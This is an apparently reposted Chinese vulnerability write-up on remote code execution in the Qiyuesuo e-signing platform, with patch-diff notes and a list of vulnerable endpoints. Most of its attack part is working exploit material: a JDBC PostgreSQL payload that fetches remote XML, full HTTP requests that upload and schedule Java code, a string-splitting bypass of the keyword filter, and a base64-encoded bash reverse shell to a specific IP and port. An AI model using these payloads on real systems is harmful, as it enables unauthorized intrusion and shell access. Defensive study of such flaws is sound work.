契约锁记录

admin 2025-12-25 02:58:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析了契约锁系统的多处远程代码执行漏洞。核心在于利用/setup/dbtest接口无需鉴权即可通过JDBC反序列化攻击PostgreSQL导致RCE,以及历史版本中后台计划任务和文件上传接口存在的代码执行风险。建议厂商及用户尽快更新官方补丁,并限制管理后台直接暴露于公网。 综合评分: 89 文章分类: 漏洞分析,漏洞POC,代码审计,WEB安全


cover_image

契约锁记录

原创

格纸

千寻安服

2025年6月13日 09:00 四川

契约锁记录

题记

正在客户现场猛猛搬砖,然后人工智能监测平台发现长亭发的漏洞预警

漏洞预警有几个重点关注一下

漏洞类型:远程代码执行

权限认证要求:无需权限

用户交互要求:无需用户交互

系统配置要求:默认配置

缓解方案:如非必要,避免将该系统管理端HTTP服务直接暴露在互联网

修复方案:契约锁官方已发布安全补丁,请及时更新安全补丁,下载地址:https://www.qiyuesuo.com/more/security/servicepack

文章中给的漏洞复现图如下

具体分析

由于没有直接公开poc,漏洞复现打码了,但是通过上面信息,可以如下poc相关信息:

漏洞利用GET访问,并且不需要鉴权,影响的是电子签约管理控制台,具体漏洞细节可以从补丁官方查看。

看了下自己之前写的契约锁漏洞分析,补丁包里直接就有具体的接口地址,把之前的分析记录也附上来吧,放在最后了。

20250611这一次下载的补丁包如下,漏洞接口放在了security.rsc,使用了RSA加密

解密后如下

一共48个漏洞接口

前面知道漏洞poc直接是get请求,并且不需要鉴权,直接扔burp里就行,发现只有/setup/dbtest返回是200,有返回内容并且不需要权限。

找到接口后,定位到具体类com.qiyuesuo.setup.SetupController.dbtest

参数为db、name、host、port、username、password

接着调用this.setupService.check

最终调用,看到这就知道漏洞怎么利用了,直接打jdbc即可

支持这些jdbc

相关jdbc依赖具体版本如下

最终POC

应该只能打PostgreSQL(CVE-2022-21724)

/setup/dbtest?db=&name=&host=&port=&username=&password=

 payload如下

jdbc:postgresql:///?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxxx/x.xml

目标来解析xml即可

搞好文章直接回家打游戏了,然后发现分析文章已经有大哥发了,发的太快,太卷啦

附上以前写的分析

补丁包1.0.6 2023-08-17

漏洞uri

        /api/template/param/edits          /template/param/edits          /api/template/html/add          /template/html/add          /utask/upload          /api/code/upload          /api/assets/loadResource          /api/sys/config/storage/custom/upload          /sys/config/storage/custom/upload          /sys/config/convert/upload          /api/message/strategy/upload          /message/strategy/upload

电子签约管理控制台后台计划任务

后台直接执行java代码,类似xxljob后台的代码执行

后面对执行的代码增加了过滤

4.3.4.20230220该版本过滤如下

后面版本更新过滤如下

return sourceCode.contains(“Runtime”) || sourceCode.contains(“Process”) || sourceCode.contains(“ProcessBuilder”) || sourceCode.contains(“SpelExpressionParser”) || sourceCode.contains(“invoke”) || sourceCode.contains(“Class.forName”) || sourceCode.contains(“newInstance”) || sourceCode.contains(“ClassLoader”) || sourceCode.contains(“Constructor”) || sourceCode.contains(“ObjectInputStream”) || sourceCode.contains(“ScriptEngine”) || sourceCode.contains(“parseExpression”) || sourceCode.contains(“getDeclaredField”) || sourceCode.contains(“setAccessible”) || sourceCode.contains(“getMethod”);

通过拼接字符串绕过

/api/code/upload

接口代码执行

POST /api/code/upload HTTP/1.1 Host:  Content-Length: 1187 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhvzJ4LxAcrBtxpvf Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SID=0a7ac03a-0ef4-4fff-82b4-55fd47e6d408; OSSID=b487bd83-561b-4562-8c46-794f79264a19 Connection: close
  ------WebKitFormBoundaryhvzJ4LxAcrBtxpvf Content-Disposition: form-data; name="type" TIMETASK ------WebKitFormBoundaryhvzJ4LxAcrBtxpvf Content-Disposition: form-data; name="file"; filename="reshell.java" Content-Type: application/octet-stream package com.qiyuesuo.utask.java; public class TestTimerTask extends BaseTimerTask  {     static final long serialVersionUID = 1234567L;     @Override     public void execute() {         //在此写相关的业务实现代码         try {             String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", "ping dnslog.cn"} : new String[]{"/bin/sh", "-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNC4zOS84MDg5IDA+JjE=}|{base64,-d}|{bash,-i}"};             Class.forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",String[].class).invoke(Class.forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(Class.forName("java.l"+"ang.Ru"+"ntime")),(Object) var12);         } catch (Exception e) {         }         System.out.println("**********************打印测试**********************");     } } ------WebKitFormBoundaryhvzJ4LxAcrBtxpvf--
POST /api/utask/create?_=1693469860994 HTTP/1.1 Host:  Content-Length: 257 Accept: application/json, text/plain, */* I18N-Language: zh_CN timestamp: 1693469860995 nonce: ca8bd594-ebc4-45fb-91fa-bf81c84b3fc8-da87a440-47d6-11ee-9eb8-5dbb9ebbe64a X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SID=0a7ac03a-0ef4-4fff-82b4-55fd47e6d408; OSSID=b487bd83-561b-4562-8c46-794f79264a19 Connection: close
  {"creater":"管理员","taskName":"test","description":"","type":"FIXTIMEDELAY","cron":"{\"delay\":1000,\"cron\":\"\",\"total\":1,\"executed\":0,\"nextTime\":\"2023-08-31 16:17:20\"}","codeId":"3134780229295555416","timerCategory":"CUSTOM","status":"START"}

电子签署平台模版编辑处

代码执行

通过..;绕过权限校验

监制丨船长、铁子

策划丨Cupid

美工丨molin


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:千寻安服 格纸《契约锁记录》

评论:0   参与:  2